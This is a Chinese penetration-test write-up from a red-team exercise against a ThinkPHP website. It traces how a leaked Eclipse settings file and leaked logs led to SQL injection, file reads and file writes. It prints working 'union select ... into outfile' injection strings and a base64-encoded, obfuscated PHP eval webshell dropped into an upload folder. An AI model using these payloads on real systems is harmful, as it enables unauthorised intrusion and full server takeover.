免责声明:由于传播、利用本公众号李白你好所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号李白你好及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
在一次攻防演练中,遇到这么一个站点,该站点基于ThinkPHP框架开发,且存在日志泄露,故事就从这个日志泄露开始了。
1►
信息收集
1. 老话说的好,渗透的本质就是信息收集,而信息搜集整理为后续的情报跟进提供了强大的保证,进入该站点发现只有三个功能点,逐个进行查看
2. 进入第一个功能点
。。。发现直接报404,还有条狗看着家
3. 进入第二、三个功能点,发现是一个注册表单,第三个也为404
4. 他写三个难道就只有三个功能嘛?我不信,开扫!
敏感文件这不就来了嘛
5.通过目录扫描发现该站点存在eclipse配置文件泄露
访问/.settings/org.eclipse.core.resources.prefs 获取到项目里的所有功能点
org.eclipse.core.resources.prefs解释
org.eclipse.core.resources.prefs文件其实就是规定项目内的文件的编码用的。一般来说一个项目里的文件编码需要一致,特别是文件文本内容本身无法指示文件本身编码的(比较绕,XML文件第一行能指示自身编码,CSS也有这个能力但用得不多),尽量不要多种编码同时存在(最好在编码规范中禁止多重编码同时存在的现象发生),Eclipse中.setting目录下文件介绍
6.该站点基于ThinkPHP框架开发,上工具跑出日志泄露
该工具下载地址:
https://github.com/Lotus6/ThinkphpGUI
2►
进行渗透测试
挨个访问功能页面
有两个上传点,尝试上传
发现403了...
7.逛完一圈发现后台路径被改,文件上传403,功能都改了或者删掉了
没头绪。。。
去翻翻日志吧。。。
喔唷~这是啥,这不是我前台测试时打的单引号嘛
日志中居然存在Sql执行语句
8.Sql语句记录到日志中,并发现Sql语句报错信息,语句闭合为 )
这时候就可以靠 ThinkPHP日志泄露 + Sql注入打一个组合拳了,以后谁还敢说ThinkPHP日志泄露没危害的!
9.开始着重对该功能进行测试
因为该功能点有验证码,便对其进行手测,成功获取到MariaDB数据的版本信息,与权限信息
10.开始读文件,可是没有物理路径咋办呢,那就找!
在目录扫描的时候存在一个demo目录,这不就有了吗
11.为啥要读文件呢,因为查权限就没那个必要,还浪费时间,能读就能写。
尝试读取win.ini,跟本地win.ini做对比,发现成功读取到win.ini
12.可是接下来头又痛了,使用order by 判断表列数不回显,且日志不记录Sql语句,有验证码又懒得构造盲注语句了。
那咋办?只能掏笨方法了
13. 先用union select 尝试写一下文件看看报什么错
The used SELECT statements have a different number of columns
提示列数不同,也就是我写的列数不对,继续测试
14. 直接手动判断列数写文件,最终在第9列成功写入文件
从
1) union select 1 into outfile 'xxx\/reg\/upload\/1.php' --+
1) union select 1,2,3,4,5,6,7,8,'1' into outfile 'xxx\/reg\/upload\/1.php' --+
3►
写入webshell
15.构造语句:
1) union select 1,2,3,4,5,6,7,8,from_base64('PD9waHAgZXZhbChnenVuY29tcHJlc3MoYmFzZTY0X2RlY29kZSgnZUp4TExVdk0wVkNKRC9BUERvbFdUODVOVVkvVnRBWUFSUVVHT0E9PScpKSk7Pz4=') into outfile 'xxxx\/reg\/upload\/7fa0b347c86e45522a1d6606731002c9.php' --+
成功获取到Webshell,到后面发现,那条安全狗根本就没用~.~
当然不建议各位用这个笨方法,因为有些表的列数特别多,好几十条,还是得先判断的
结束,拿Shell收工!
文章作者:奇安信攻防社区(C01D)
文章来源:https://forum.butian.net/share/2509
4►
关注我们
我与逻辑漏洞的爱恨情仇
逻辑漏洞背后隐藏的刷票总结
一个浏览器数据(密码|历史记录|Cookie|书签|下载记录)的导出工具